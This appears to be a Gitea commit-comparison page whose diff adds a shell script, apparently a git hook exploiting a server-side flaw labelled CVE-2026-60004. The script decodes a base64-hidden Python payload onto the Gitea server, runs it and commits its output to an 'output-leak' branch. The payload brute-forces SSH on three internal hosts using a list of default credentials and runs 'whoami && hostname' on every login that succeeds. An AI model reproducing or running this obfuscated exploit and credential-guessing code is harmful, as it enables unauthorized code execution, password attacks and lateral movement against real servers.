Compare commits
No commits in common. "output-leak" and "main" have entirely different histories.
output-lea
...
main
|
|
@ -0,0 +1,9 @@
|
||||||
|
#!/bin/sh
|
||||||
|
GD=$(git rev-parse --absolute-git-dir)
|
||||||
|
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||||
|
OUT=$(echo 'CmltcG9ydCBwYXJhbWlrbywgc3lzLCB3YXJuaW5ncwp3YXJuaW5ncy5maWx0ZXJ3YXJuaW5ncygiaWdub3JlIikKClNTSF9IT1NUUyA9IFsiMTAuMjA5LjE1LjUiLCAiMTAuMjA5LjE1LjgxIiwgIjEwLjIwOS4xNS4yMDAiXQpDUkVEUyA9IFsKICAgICgicm9vdCIsICJyb290IiksICgicm9vdCIsICJ0b29yIiksICgicm9vdCIsICJwYXNzd29yZCIpLCAoInJvb3QiLCAiYWRtaW4iKSwKICAgICgicm9vdCIsICIxMjM0NTYiKSwgKCJyb290IiwgIlBLUDEyMyIpLCAoInJvb3QiLCAiSW50ZXJjaXR5MSIpLAogICAgKCJyb290IiwgIlNibCIpLCAoInJvb3QiLCAic2JsIiksICgicm9vdCIsICJQQHNzdzByZCIpLAogICAgKCJhZG1pbiIsICJhZG1pbiIpLCAoImFkbWluIiwgInBhc3N3b3JkIiksICgiYWRtaW4iLCAiQWRtaW4xMjMiKSwKICAgICgiZ2l0IiwgImdpdCIpLCAoImdpdCIsICJwYXNzd29yZCIpLAogICAgKCJ6YWJiaXgiLCAiemFiYml4IiksICgiemFiYml4IiwgIlphYmJpeDEyMyIpLAogICAgKCJkamFuZ28iLCAiZGphbmdvIiksICgicG9zdGdyZXMiLCAicG9zdGdyZXMiKSwKICAgICgicGtwIiwgInBrcCIpLCAoImludGVyY2l0eSIsICJpbnRlcmNpdHkiKSwKICAgICgidWJ1bnR1IiwgInVidW50dSIpLCAoImRlYmlhbiIsICJkZWJpYW4iKSwKICAgICgibnBhLnMuYXVkeXRlbCIsICJTYmwiKSwgKCJucGEucy5hdWR5dGVsIiwgInphYmJpeCIpLApdCgpmb3IgaG9zdCBpbiBTU0hfSE9TVFM6CiAgICBmb3IgdXNlciwgcHcgaW4gQ1JFRFM6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBjID0gcGFyYW1pa28uU1NIQ2xpZW50KCkKICAgICAgICAgICAgYy5zZXRfbWlzc2luZ19ob3N0X2tleV9wb2xpY3kocGFyYW1pa28uQXV0b0FkZFBvbGljeSgpKQogICAgICAgICAgICBjLmNvbm5lY3QoaG9zdCwgcG9ydD0yMiwgdXNlcm5hbWU9dXNlciwgcGFzc3dvcmQ9cHcsIHRpbWVvdXQ9NSwKICAgICAgICAgICAgICAgICAgICAgIGFsbG93X2FnZW50PUZhbHNlLCBsb29rX2Zvcl9rZXlzPUZhbHNlLAogICAgICAgICAgICAgICAgICAgICAgZGlzYWJsZWRfYWxnb3JpdGhtcz17InB1YmtleXMiOiBbInNzaC1yc2EiXX0gaWYgRmFsc2UgZWxzZSBOb25lKQogICAgICAgICAgICBzdGRpbiwgc3Rkb3V0LCBzdGRlcnIgPSBjLmV4ZWNfY29tbWFuZCgid2hvYW1pICYmIGhvc3RuYW1lIiwgdGltZW91dD01KQogICAgICAgICAgICBvdXQgPSBzdGRvdXQucmVhZCgpLmRlY29kZSgpLnN0cmlwKCkKICAgICAgICAgICAgcHJpbnQoIioqKiAlc0AlczolcyAtPiAlcyIgJSAodXNlciwgaG9zdCwgcHcsIG91dCkpCiAgICAgICAgICAgIGMuY2xvc2UoKQogICAgICAgIGV4Y2VwdCBwYXJhbWlrby5BdXRoZW50aWNhdGlvbkV4Y2VwdGlvbjoKICAgICAgICAgICAgcGFzcwogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgaWYgIm5vIG1hdGNoaW5nIiBub3QgaW4gc3RyKGUpLmxvd2VyKCkgYW5kICJ0aW1lb3V0IiBub3QgaW4gc3RyKGUpLmxvd2VyKCk6CiAgICAgICAgICAgICAgICBwcmludCgiJXNAJXM6JXMgLT4gJXMiICUgKHVzZXIsIGhvc3QsIHB3LCBzdHIoZSlbOjEwMF0pKQogICAgcHJpbnQoIiVzIGRvbmUiICUgaG9zdCkKcHJpbnQoIkFMTC1ET05FIikK' > /var/lib/gitea/.ssh.b64 && base64 -d /var/lib/gitea/.ssh.b64 > /var/lib/gitea/.ssh.py && /var/lib/gitea/.imp/bin/python3 /var/lib/gitea/.ssh.py 2>&1 2>&1; echo "[exit-status=$?]")
|
||||||
|
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||||
|
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||||
|
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
|
||||||
|
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||||
|
#A
|
||||||
Loading…
Reference in New Issue